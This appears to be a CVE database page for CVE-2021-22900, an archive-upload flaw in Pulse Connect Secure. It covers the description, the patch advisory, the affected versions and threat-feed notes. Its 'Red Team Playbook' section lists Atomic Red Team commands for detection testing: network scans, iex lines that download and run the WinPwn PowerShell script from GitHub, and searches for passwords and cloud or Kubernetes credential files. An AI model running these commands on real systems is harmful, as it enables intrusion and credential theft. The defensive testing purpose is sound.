CVE-2021-22900
Overview
This vulnerability is an unrestricted file upload flaw rooted in insufficient validation of archive contents within the administrator web interface of Pulse Connect Secure. Specifically, the affected component improperly handles multiple file uploads embedded in maliciously crafted archive files, allowing authenticated administrators to write arbitrary files on the system. The flaw arises from inadequate sanitization and verification of archive payloads prior to extraction and storage.
Vulnerability Description
A vulnerability allowed multiple unrestricted uploads in Pulse Connect Secure before 9.1R11.4 that could lead to an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.
Impact
An attacker with authenticated administrator credentials can exploit this vulnerability to write arbitrary files on the Pulse Connect Secure server, potentially leading to remote code execution or persistent system compromise. This capability enables the attacker to modify system configurations, implant backdoors, or disrupt service operations. The prerequisite is possession of valid administrator-level access, which may be obtained through credential compromise or insider threat. Successful exploitation can result in full system compromise and lateral movement within the affected network environment.
Solution
Ivanti released security advisory SA44784 addressing this issue and recommends upgrading Pulse Connect Secure to version 9.1R11.4 or later. Administrators should apply the provided patches as detailed in the advisory at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/. No specific workarounds are noted; timely patching is the primary mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (41)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
|
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Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r10.0:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsRansomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22900 |
| kb.pulsesecure.net |
GitHub CVE
x_refsource_MISC
|
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/?kA23Z000000boUWSAY |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22900 |